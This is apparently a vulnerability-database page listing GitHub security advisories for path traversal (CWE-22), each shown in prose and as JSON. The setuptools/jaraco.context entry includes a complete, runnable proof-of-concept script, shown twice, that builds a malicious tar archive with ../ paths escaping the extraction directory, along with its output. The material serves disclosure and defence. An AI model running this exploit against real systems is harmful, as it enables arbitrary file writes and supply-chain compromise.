CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
13177 vulnerabilities reference this CWE, most recent first.
GHSA-58P8-QP66-2JQ2
Vulnerability from github – Published: 2024-08-16 15:31 – Updated: 2024-09-13 15:31The JetElements plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 2.6.20 via the 'progress_type' parameter. This makes it possible for authenticated attackers, with Contributor-level access and above, to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included.
{
"affected": [],
"aliases": [
"CVE-2024-7145"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-16T14:15:15Z",
"severity": "HIGH"
},
"details": "The JetElements plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 2.6.20 via the \u0027progress_type\u0027 parameter. This makes it possible for authenticated attackers, with Contributor-level access and above, to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other \u201csafe\u201d file types can be uploaded and included.",
"id": "GHSA-58p8-qp66-2jq2",
"modified": "2024-09-13T15:31:31Z",
"published": "2024-08-16T15:31:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7145"
},
{
"type": "WEB",
"url": "https://crocoblock.com/plugins/jetelements"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/793f27ec-a3bb-4273-a41c-cc5b04c8e8fc?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-58PF-PCWV-QG85
Vulnerability from github – Published: 2021-05-18 21:08 – Updated: 2022-08-02 18:03This affects all versions of package github.com/u-root/u-root/pkg/uzip. It is vulnerable to both leading and non-leading relative path traversal attacks in zip file extraction.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/u-root/u-root"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-7665"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2021-05-18T20:51:25Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "This affects all versions of package github.com/u-root/u-root/pkg/uzip. It is vulnerable to both leading and non-leading relative path traversal attacks in zip file extraction.",
"id": "GHSA-58pf-pcwv-qg85",
"modified": "2022-08-02T18:03:17Z",
"published": "2021-05-18T21:08:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7665"
},
{
"type": "WEB",
"url": "https://github.com/u-root/u-root/pull/1817"
},
{
"type": "WEB",
"url": "https://github.com/u-root/u-root/pull/2344"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-GOLANG-GITHUBCOMUROOTUROOTPKGUZIP-570441"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Path traversal in u-root"
}
GHSA-58PV-8J8X-9VJ2
Vulnerability from github – Published: 2026-01-13 21:48 – Updated: 2026-01-22 22:25Summary
There is a Zip Slip path traversal vulnerability in the jaraco.context package affecting setuptools as well, in jaraco.context.tarball() function. The vulnerability may allow attackers to extract files outside the intended extraction directory when malicious tar archives are processed.
The strip_first_component filter splits the path on the first / and extracts the second component, while allowing ../ sequences. Paths like dummy_dir/../../etc/passwd become ../../etc/passwd.
Note that this suffers from a nested tarball attack as well with multi-level tar files such as dummy_dir/inner.tar.gz, where the inner.tar.gz includes a traversal dummy_dir/../../config/.env that also gets translated to ../../config/.env.
The code can be found: - https://github.com/jaraco/jaraco.context/blob/main/jaraco/context/init.py#L74-L91 - https://github.com/pypa/setuptools/blob/main/setuptools/_vendor/jaraco/context.py#L55-L76 (inherited)
This report was also sent to setuptools maintainers and they asked some questions regarding this.
The lengthy answer is:
The vulnerability seems to be the strip_first_component filter function, not the tarball function itself and has the same behavior on any tested Python version locally (from 11 to 14, as I noticed that there is a backports conditional for the tarball).
The stock tarball for Python 3.12+ is considered not vulnerable (until proven otherwise 😄) but here the custom filter seems to overwrite the native filtering and introduces the issue - while overwriting the updated secure Python 3.12+ behavior and giving a false sense of sanitization.
The short answer is:
If we are talking about Python < 3.12 the tarball and jaraco implementations / behaviors are relatively the same but for Python 3.12+ the jaraco implementation overwrites the native tarball protection.
Sampled tests:
Details
The flow with setuptools in the mix:
setuptools._vendor.jaraco.context.tarball() > req = urlopen(url) > with tarfile.open(fileobj=req, mode='r|*') as tf: > tf.extractall(path=target_dir, filter=strip_first_component) > strip_first_component (Vulnerable)
PoC
This was tested on multiple Python versions > 11 on a Debian GNU 12 (bookworm). You can run this directly after having all the dependencies:
#!/usr/bin/env python3
import tarfile
import io
import os
import sys
import shutil
import tempfile
from setuptools._vendor.jaraco.context import strip_first_component
def create_malicious_tarball(traversal_to_root: str):
tar_data = io.BytesIO()
with tarfile.open(fileobj=tar_data, mode='w') as tar:
# Create a malicious file path with traversal sequences
malicious_files = [
# Attempt 1: Simple traversal to /tmp
{
'path': f'dummy_dir/{traversal_to_root}tmp/pwned_by_zipslip.txt',
'content': b'[ZIPSLIP] File written to /tmp via path traversal!',
'name': 'pwned_via_tmp'
},
# Attempt 2: Try to write to home directory
{
'path': f'dummy_dir/{traversal_to_root}home/pwned_home.txt',
'content': b'[ZIPSLIP] Attempted write to home directory',
'name': 'pwned_via_home'
},
# Attempt 3: Try to write to current directory parent
{
'path': 'dummy_dir/../escaped.txt',
'content': b'[ZIPSLIP] File in parent directory!',
'name': 'pwned_escaped'
},
# Attempt 4: Legitimate file for comparison
{
'path': 'dummy_dir/legitimate_file.txt',
'content': b'This file stays in target directory',
'name': 'legitimate'
}
]
for file_info in malicious_files:
content = file_info['content']
tarinfo = tarfile.TarInfo(name=file_info['path'])
tarinfo.size = len(content)
tar.addfile(tarinfo, io.BytesIO(content))
tar_data.seek(0)
return tar_data
def exploit_zipslip():
print(\"[*] Target: setuptools._vendor.jaraco.context.tarball()\")
# Create temporary directory for extraction
temp_base = tempfile.mkdtemp(prefix=\"zipslip_test_\")
target_dir = os.path.join(temp_base, \"extraction_target\")
try:
os.mkdir(target_dir)
print(f\"[+] Created target extraction directory: {target_dir}\")
target_dir_abs = os.path.abspath(target_dir)
print(target_dir_abs)
depth_to_root = len([p for p in target_dir_abs.split(os.sep) if p])
traversal_to_root = \"../\" * depth_to_root
print(f\"[+] Using traversal_to_root prefix: {traversal_to_root!r}\")
# Create malicious tarball
print(\"[*] Creating malicious tar archive...\")
tar_data = create_malicious_tarball(traversal_to_root)
try:
with tarfile.open(fileobj=tar_data, mode='r') as tf:
for member in tf:
# Apply the ACTUAL vulnerable function from setuptools
processed_member = strip_first_component(member, target_dir)
print(f\"[*] Extracting: {member.name:40} -> {processed_member.name}\")
# Extract to target directory
try:
tf.extract(processed_member, path=target_dir)
print(f\" ✓ Extracted successfully\")
except (PermissionError, FileNotFoundError, OSError) as e:
print(f\" ! {type(e).__name__}: Path traversal ATTEMPTED\")
except Exception as e:
print(f\"[!] Extraction raised exception: {type(e).__name__}: {e}\")
# Check results
print(\"[*] Checking for extracted files...\")
# Check target directory
print(f\"[*] Files in target directory ({target_dir}):\")
if os.path.exists(target_dir):
for root, _, files in os.walk(target_dir):
level = root.replace(target_dir, '').count(os.sep)
indent = ' ' * 2 * level
print(f\"{indent}{os.path.basename(root)}/\")
subindent = ' ' * 2 * (level + 1)
for file in files:
filepath = os.path.join(root, file)
try:
with open(filepath, 'r') as f:
content = f.read()[:50]
print(f\"{subindent}{file}\")
print(f\"{subindent} └─ {content}...\")
except:
print(f\"{subindent}{file} (binary)\")
else:
print(f\"[!] Target directory not found!\")
print()
print(\"[*] Checking for traversal attempts...\")
print()
# Check if files escaped
traversal_attempts = [
(\"/tmp/pwned_by_zipslip.txt\", \"Escape to /tmp\"),
(os.path.expanduser(\"~/pwned_home.txt\"), \"Escape to home\"),
(os.path.join(temp_base, \"escaped.txt\"), \"Escape to parent\"),
]
escaped = False
for check_path, description in traversal_attempts:
if os.path.exists(check_path):
print(f\"[+] Path Traversal Confirmed: {description}\")
print(f\" File created at: {check_path}\")
try:
with open(check_path, 'r') as f:
content = f.read()
print(f\" Content: {content}\")
print(f\" Removing: {check_path}\")
os.remove(check_path)
except Exception as e:
print(f\" Error reading: {e}\")
escaped = True
else:
print(f\"[-] OK: {description} - No escape detected\")
if escaped:
print(\"[+] EXPLOIT SUCCESSFUL - Path traversal vulnerability confirmed!\")
else:
print(\"[-] No path traversal detected (mitigation in place)\")
finally:
# Cleanup
print()
print(f\"[*] Cleaning up: {temp_base}\")
try:
shutil.rmtree(temp_base)
except Exception as e:
print(f\"[!] Cleanup error: {e}\")
def check_python_version():
print(f\"[+] Python version: {sys.version}\")
# Python 3.11.4+ added DEFAULT_FILTER
if hasattr(tarfile, 'DEFAULT_FILTER'):
print(\"[+] Python has DEFAULT_FILTER (tarfile security hardening)\")
else:
print(\"[!] Python does not have DEFAULT_FILTER (older version)\")
print()
if __name__ == \"__main__\":
check_python_version()
exploit_zipslip()
Output:
[+] Python version: 3.11.2 (main, Apr 28 2025, 14:11:48) [GCC 12.2.0]
[!] Python does not have DEFAULT_FILTER (older version)
[*] Target: setuptools._vendor.jaraco.context.tarball()
[+] Created target extraction directory: /tmp/zipslip_test_tnu3qpd5/extraction_target
[*] Creating malicious tar archive...
[*] Extracting: ../../tmp/pwned_by_zipslip.txt -> ../../tmp/pwned_by_zipslip.txt
✓ Extracted successfully
[*] Extracting: ../../../../home/pwned_home.txt -> ../../../../home/pwned_home.txt
! PermissionError: Path traversal ATTEMPTED
[*] Extracting: ../escaped.txt -> ../escaped.txt
✓ Extracted successfully
[*] Extracting: legitimate_file.txt -> legitimate_file.txt
✓ Extracted successfully
[*] Checking for extracted files...
[*] Files in target directory (/tmp/zipslip_test_tnu3qpd5/extraction_target):
extraction_target/
legitimate_file.txt
└─ This file stays in target directory...
[*] Checking for traversal attempts...
[-] OK: Escape to /tmp - No escape detected
[-] OK: Escape to home - No escape detected
[+] Path Traversal Confirmed: Escape to parent
File created at: /tmp/zipslip_test_tnu3qpd5/escaped.txt
Content: [ZIPSLIP] File in parent directory!
Removing: /tmp/zipslip_test_tnu3qpd5/escaped.txt
[+] EXPLOIT SUCCESSFUL - Path traversal vulnerability confirmed!
[*] Cleaning up: /tmp/zipslip_test_tnu3qpd5
Impact
- Arbitrary file creation in filesystem (HIGH exploitability) - especially if popular packages download tar files remotely and use this package to extract files.
- Privesc (LOW exploitability)
- Supply-Chain attack (VARIABLE exploitability) - relevant to the first point.
Remediation
I guess removing the custom filter is not feasible given the backward compatibility issues that might come up you can use a safer filter strip_first_component that skips or sanitizes ../ character sequences since it is already there eg.
if member.name.startswith('/') or '..' in member.name:
raise ValueError(f\"Attempted path traversal detected: {member.name}\")
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "jaraco.context"
},
"ranges": [
{
"events": [
{
"introduced": "5.2.0"
},
{
"fixed": "6.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-23949"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-13T21:48:17Z",
"nvd_published_at": "2026-01-20T01:15:57Z",
"severity": "HIGH"
},
"details": "### Summary\nThere is a Zip Slip path traversal vulnerability in the jaraco.context package affecting setuptools as well, in `jaraco.context.tarball()` function. The vulnerability may allow attackers to extract files outside the intended extraction directory when malicious tar archives are processed.\nThe strip_first_component filter splits the path on the first `/` and extracts the second component, while allowing `../` sequences. Paths like `dummy_dir/../../etc/passwd` become `../../etc/passwd`.\nNote that this suffers from a nested tarball attack as well with multi-level tar files such as `dummy_dir/inner.tar.gz`, where the inner.tar.gz includes a traversal `dummy_dir/../../config/.env` that also gets translated to `../../config/.env`.\n\nThe code can be found:\n- https://github.com/jaraco/jaraco.context/blob/main/jaraco/context/__init__.py#L74-L91\n- https://github.com/pypa/setuptools/blob/main/setuptools/_vendor/jaraco/context.py#L55-L76 (inherited)\n\nThis report was also sent to setuptools maintainers and they asked some questions regarding this.\n\nThe lengthy answer is:\n\nThe vulnerability seems to be the `strip_first_component` filter function, not the tarball function itself and has the same behavior on any tested Python version locally (from 11 to 14, as I noticed that there is a backports conditional for the tarball).\nThe stock tarball for Python 3.12+ is considered not vulnerable (until proven otherwise \ud83d\ude04) but here the custom filter seems to overwrite the native filtering and introduces the issue - while overwriting the updated secure Python 3.12+ behavior and giving a false sense of sanitization.\n\nThe short answer is:\n\nIf we are talking about Python \u003c 3.12 the tarball and jaraco implementations / behaviors are relatively the same but for Python 3.12+ the jaraco implementation overwrites the native tarball protection.\n\nSampled tests:\n\u003cimg width=\"1634\" height=\"245\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ce6c0de6-bb53-4c2b-818a-d77e28d2fbeb\" /\u003e\n\n### Details\n\nThe flow with setuptools in the mix:\n```\nsetuptools._vendor.jaraco.context.tarball() \u003e req = urlopen(url) \u003e with tarfile.open(fileobj=req, mode=\u0027r|*\u0027) as tf: \u003e tf.extractall(path=target_dir, filter=strip_first_component) \u003e strip_first_component (Vulnerable)\n```\n\n### PoC\n\nThis was tested on multiple Python versions \u003e 11 on a Debian GNU 12 (bookworm).\nYou can run this directly after having all the dependencies:\n```py\n#!/usr/bin/env python3\nimport tarfile\nimport io\nimport os\nimport sys\nimport shutil\nimport tempfile\nfrom setuptools._vendor.jaraco.context import strip_first_component\n\n\ndef create_malicious_tarball(traversal_to_root: str):\n tar_data = io.BytesIO()\n with tarfile.open(fileobj=tar_data, mode=\u0027w\u0027) as tar:\n # Create a malicious file path with traversal sequences\n malicious_files = [\n # Attempt 1: Simple traversal to /tmp\n {\n \u0027path\u0027: f\u0027dummy_dir/{traversal_to_root}tmp/pwned_by_zipslip.txt\u0027,\n \u0027content\u0027: b\u0027[ZIPSLIP] File written to /tmp via path traversal!\u0027,\n \u0027name\u0027: \u0027pwned_via_tmp\u0027\n },\n # Attempt 2: Try to write to home directory\n {\n \u0027path\u0027: f\u0027dummy_dir/{traversal_to_root}home/pwned_home.txt\u0027,\n \u0027content\u0027: b\u0027[ZIPSLIP] Attempted write to home directory\u0027,\n \u0027name\u0027: \u0027pwned_via_home\u0027\n },\n # Attempt 3: Try to write to current directory parent\n {\n \u0027path\u0027: \u0027dummy_dir/../escaped.txt\u0027,\n \u0027content\u0027: b\u0027[ZIPSLIP] File in parent directory!\u0027,\n \u0027name\u0027: \u0027pwned_escaped\u0027\n },\n # Attempt 4: Legitimate file for comparison\n {\n \u0027path\u0027: \u0027dummy_dir/legitimate_file.txt\u0027,\n \u0027content\u0027: b\u0027This file stays in target directory\u0027,\n \u0027name\u0027: \u0027legitimate\u0027\n }\n ]\n for file_info in malicious_files:\n content = file_info[\u0027content\u0027]\n tarinfo = tarfile.TarInfo(name=file_info[\u0027path\u0027])\n tarinfo.size = len(content)\n tar.addfile(tarinfo, io.BytesIO(content))\n\n tar_data.seek(0)\n return tar_data\n\n\ndef exploit_zipslip():\n print(\\\"[*] Target: setuptools._vendor.jaraco.context.tarball()\\\")\n\n # Create temporary directory for extraction\n temp_base = tempfile.mkdtemp(prefix=\\\"zipslip_test_\\\")\n target_dir = os.path.join(temp_base, \\\"extraction_target\\\")\n\n try:\n os.mkdir(target_dir)\n print(f\\\"[+] Created target extraction directory: {target_dir}\\\")\n\n target_dir_abs = os.path.abspath(target_dir)\n print(target_dir_abs)\n depth_to_root = len([p for p in target_dir_abs.split(os.sep) if p])\n traversal_to_root = \\\"../\\\" * depth_to_root\n print(f\\\"[+] Using traversal_to_root prefix: {traversal_to_root!r}\\\")\n\n # Create malicious tarball\n print(\\\"[*] Creating malicious tar archive...\\\")\n tar_data = create_malicious_tarball(traversal_to_root)\n\n try:\n with tarfile.open(fileobj=tar_data, mode=\u0027r\u0027) as tf:\n for member in tf:\n # Apply the ACTUAL vulnerable function from setuptools\n processed_member = strip_first_component(member, target_dir)\n print(f\\\"[*] Extracting: {member.name:40} -\u003e {processed_member.name}\\\")\n\n # Extract to target directory\n try:\n tf.extract(processed_member, path=target_dir)\n print(f\\\" \u2713 Extracted successfully\\\")\n except (PermissionError, FileNotFoundError, OSError) as e:\n print(f\\\" ! {type(e).__name__}: Path traversal ATTEMPTED\\\")\n except Exception as e:\n print(f\\\"[!] Extraction raised exception: {type(e).__name__}: {e}\\\")\n\n # Check results\n print(\\\"[*] Checking for extracted files...\\\")\n\n # Check target directory\n print(f\\\"[*] Files in target directory ({target_dir}):\\\")\n if os.path.exists(target_dir):\n for root, _, files in os.walk(target_dir):\n level = root.replace(target_dir, \u0027\u0027).count(os.sep)\n indent = \u0027 \u0027 * 2 * level\n print(f\\\"{indent}{os.path.basename(root)}/\\\")\n subindent = \u0027 \u0027 * 2 * (level + 1)\n for file in files:\n filepath = os.path.join(root, file)\n try:\n with open(filepath, \u0027r\u0027) as f:\n content = f.read()[:50]\n print(f\\\"{subindent}{file}\\\")\n print(f\\\"{subindent} \u2514\u2500 {content}...\\\")\n except:\n print(f\\\"{subindent}{file} (binary)\\\")\n else:\n print(f\\\"[!] Target directory not found!\\\")\n\n print()\n print(\\\"[*] Checking for traversal attempts...\\\")\n print()\n\n # Check if files escaped\n traversal_attempts = [\n (\\\"/tmp/pwned_by_zipslip.txt\\\", \\\"Escape to /tmp\\\"),\n (os.path.expanduser(\\\"~/pwned_home.txt\\\"), \\\"Escape to home\\\"),\n (os.path.join(temp_base, \\\"escaped.txt\\\"), \\\"Escape to parent\\\"),\n ]\n\n escaped = False\n for check_path, description in traversal_attempts:\n if os.path.exists(check_path):\n print(f\\\"[+] Path Traversal Confirmed: {description}\\\")\n print(f\\\" File created at: {check_path}\\\")\n try:\n with open(check_path, \u0027r\u0027) as f:\n content = f.read()\n print(f\\\" Content: {content}\\\")\n print(f\\\" Removing: {check_path}\\\")\n os.remove(check_path)\n except Exception as e:\n print(f\\\" Error reading: {e}\\\")\n escaped = True\n else:\n print(f\\\"[-] OK: {description} - No escape detected\\\")\n\n if escaped:\n print(\\\"[+] EXPLOIT SUCCESSFUL - Path traversal vulnerability confirmed!\\\")\n else:\n print(\\\"[-] No path traversal detected (mitigation in place)\\\")\n\n finally:\n # Cleanup\n print()\n print(f\\\"[*] Cleaning up: {temp_base}\\\")\n try:\n shutil.rmtree(temp_base)\n except Exception as e:\n print(f\\\"[!] Cleanup error: {e}\\\")\n\n\ndef check_python_version():\n print(f\\\"[+] Python version: {sys.version}\\\")\n # Python 3.11.4+ added DEFAULT_FILTER\n if hasattr(tarfile, \u0027DEFAULT_FILTER\u0027):\n print(\\\"[+] Python has DEFAULT_FILTER (tarfile security hardening)\\\")\n else:\n print(\\\"[!] Python does not have DEFAULT_FILTER (older version)\\\")\n print()\n\n\nif __name__ == \\\"__main__\\\":\n check_python_version()\n exploit_zipslip()\n```\n\nOutput:\n```\n[+] Python version: 3.11.2 (main, Apr 28 2025, 14:11:48) [GCC 12.2.0] \n[!] Python does not have DEFAULT_FILTER (older version) \n\n[*] Target: setuptools._vendor.jaraco.context.tarball() \n[+] Created target extraction directory: /tmp/zipslip_test_tnu3qpd5/extraction_target \n[*] Creating malicious tar archive... \n[*] Extracting: ../../tmp/pwned_by_zipslip.txt -\u003e ../../tmp/pwned_by_zipslip.txt \n \u2713 Extracted successfully \n[*] Extracting: ../../../../home/pwned_home.txt -\u003e ../../../../home/pwned_home.txt \n ! PermissionError: Path traversal ATTEMPTED \n[*] Extracting: ../escaped.txt -\u003e ../escaped.txt \n \u2713 Extracted successfully \n[*] Extracting: legitimate_file.txt -\u003e legitimate_file.txt \n \u2713 Extracted successfully \n[*] Checking for extracted files... \n[*] Files in target directory (/tmp/zipslip_test_tnu3qpd5/extraction_target): \nextraction_target/ \n legitimate_file.txt \n \u2514\u2500 This file stays in target directory... \n\n[*] Checking for traversal attempts... \n\n[-] OK: Escape to /tmp - No escape detected \n[-] OK: Escape to home - No escape detected \n[+] Path Traversal Confirmed: Escape to parent \n File created at: /tmp/zipslip_test_tnu3qpd5/escaped.txt \n Content: [ZIPSLIP] File in parent directory! \n Removing: /tmp/zipslip_test_tnu3qpd5/escaped.txt \n[+] EXPLOIT SUCCESSFUL - Path traversal vulnerability confirmed! \n\n[*] Cleaning up: /tmp/zipslip_test_tnu3qpd5\n```\n\n### Impact\n\n- Arbitrary file creation in filesystem (HIGH exploitability) - especially if popular packages download tar files remotely and use this package to extract files.\n- Privesc (LOW exploitability)\n- Supply-Chain attack (VARIABLE exploitability) - relevant to the first point.\n\n### Remediation\n\nI guess removing the custom filter is not feasible given the backward compatibility issues that might come up you can use a safer filter `strip_first_component` that skips or sanitizes `../` character sequences since it is already there eg.\n```\nif member.name.startswith(\u0027/\u0027) or \u0027..\u0027 in member.name:\n raise ValueError(f\\\"Attempted path traversal detected: {member.name}\\\")\n```",
"id": "GHSA-58pv-8j8x-9vj2",
"modified": "2026-01-22T22:25:55Z",
"published": "2026-01-13T21:48:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jaraco/jaraco.context/security/advisories/GHSA-58pv-8j8x-9vj2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23949"
},
{
"type": "WEB",
"url": "https://github.com/jaraco/jaraco.context/commit/7b26a42b525735e4085d2e994e13802ea339d5f9"
},
{
"type": "PACKAGE",
"url": "https://github.com/jaraco/jaraco.context"
},
{
"type": "WEB",
"url": "https://github.com/jaraco/jaraco.context/blob/main/jaraco/context/__init__.py#L74-L91"
},
{
"type": "WEB",
"url": "https://github.com/pypa/setuptools/blob/main/setuptools/_vendor/jaraco/context.py#L55-L76"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "jaraco.context Has a Path Traversal Vulnerability"
}
GHSA-58Q2-7R52-JQ62
Vulnerability from github – Published: 2026-04-03 03:06 – Updated: 2026-04-03 03:06Summary
Path traversal via inbound channel attachment path in ACP dispatch allows arbitrary file read
Current Maintainer Triage
- Normalized severity: medium
- Assessment: v2026.3.28 ACP dispatch still reads attachment paths outside the guarded attachment-cache or root checks, and the root-enforcement fix is not yet shipped.
Affected Packages / Versions
- Package:
openclaw(npm) - Latest published npm version:
2026.3.31 - Vulnerable version range:
<=2026.3.28 - Patched versions:
>= 2026.3.31 - First stable tag containing the fix:
v2026.3.31
Fix Commit(s)
566fb73d9da2d73c0be0d9b8e5b762e4dcd8e81d— 2026-03-30T14:04:02+01:00
OpenClaw thanks @north-echo for reporting.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2026.3.28"
},
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.3.31"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-03T03:06:18Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\nPath traversal via inbound channel attachment path in ACP dispatch allows arbitrary file read\n\n## Current Maintainer Triage\n- Normalized severity: medium\n- Assessment: v2026.3.28 ACP dispatch still reads attachment paths outside the guarded attachment-cache or root checks, and the root-enforcement fix is not yet shipped.\n\n## Affected Packages / Versions\n- Package: `openclaw` (npm)\n- Latest published npm version: `2026.3.31`\n- Vulnerable version range: `\u003c=2026.3.28`\n- Patched versions: `\u003e= 2026.3.31`\n- First stable tag containing the fix: `v2026.3.31`\n\n## Fix Commit(s)\n- `566fb73d9da2d73c0be0d9b8e5b762e4dcd8e81d` \u2014 2026-03-30T14:04:02+01:00\n\nOpenClaw thanks @north-echo for reporting.",
"id": "GHSA-58q2-7r52-jq62",
"modified": "2026-04-03T03:06:18Z",
"published": "2026-04-03T03:06:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-58q2-7r52-jq62"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/566fb73d9da2d73c0be0d9b8e5b762e4dcd8e81d"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/releases/tag/v2026.3.31"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw: Path traversal via inbound channel attachment path in ACP dispatch allows arbitrary file read"
}
GHSA-58Q3-HW27-275G
Vulnerability from github – Published: 2025-12-12 06:31 – Updated: 2025-12-12 06:31The WatchTowerHQ plugin for WordPress is vulnerable to arbitrary file read via the 'wht_download_big_object_origin' parameter in all versions up to, and including, 3.15.0. This is due to insufficient path validation in the handle_big_object_download_request function. This makes it possible for authenticated attackers, with administrator-level access and a valid access token, to read arbitrary files on the server, which can contain sensitive information such as database credentials and authentication keys.
{
"affected": [],
"aliases": [
"CVE-2025-13972"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-12T04:15:45Z",
"severity": "MODERATE"
},
"details": "The WatchTowerHQ plugin for WordPress is vulnerable to arbitrary file read via the \u0027wht_download_big_object_origin\u0027 parameter in all versions up to, and including, 3.15.0. This is due to insufficient path validation in the handle_big_object_download_request function. This makes it possible for authenticated attackers, with administrator-level access and a valid access token, to read arbitrary files on the server, which can contain sensitive information such as database credentials and authentication keys.",
"id": "GHSA-58q3-hw27-275g",
"modified": "2025-12-12T06:31:13Z",
"published": "2025-12-12T06:31:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13972"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/watchtowerhq/tags/3.15.0/src/Download.php#L104"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/watchtowerhq/trunk/src/Download.php#L104"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/13fcbff8-8560-48ca-82df-8b620961d9c6?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-58QR-C3XR-5M9V
Vulnerability from github – Published: 2022-03-25 00:00 – Updated: 2022-03-30 00:00Passwork On-Premise Edition before 4.6.13 allows migration/uploadExportFile Directory Traversal (to upload files).
{
"affected": [],
"aliases": [
"CVE-2022-25267"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-03-23T23:15:00Z",
"severity": "HIGH"
},
"details": "Passwork On-Premise Edition before 4.6.13 allows migration/uploadExportFile Directory Traversal (to upload files).",
"id": "GHSA-58qr-c3xr-5m9v",
"modified": "2022-03-30T00:00:49Z",
"published": "2022-03-25T00:00:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25267"
},
{
"type": "WEB",
"url": "https://gist.github.com/garakh/e0e2fe6d6e234f0595dea6a8141568f2"
},
{
"type": "WEB",
"url": "https://passwork.me"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-58W3-RPPV-8634
Vulnerability from github – Published: 2022-05-02 03:57 – Updated: 2022-05-02 03:57Directory traversal vulnerability in vote.php in Good/Bad Vote allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the id parameter in a dovote action. NOTE: some of these details are obtained from third party information.
{
"affected": [],
"aliases": [
"CVE-2009-4683"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-03-10T22:30:00Z",
"severity": "HIGH"
},
"details": "Directory traversal vulnerability in vote.php in Good/Bad Vote allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the id parameter in a dovote action. NOTE: some of these details are obtained from third party information.",
"id": "GHSA-58w3-rppv-8634",
"modified": "2022-05-02T03:57:03Z",
"published": "2022-05-02T03:57:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-4683"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/35835"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/9185"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/55918"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-592C-V2MF-X9PF
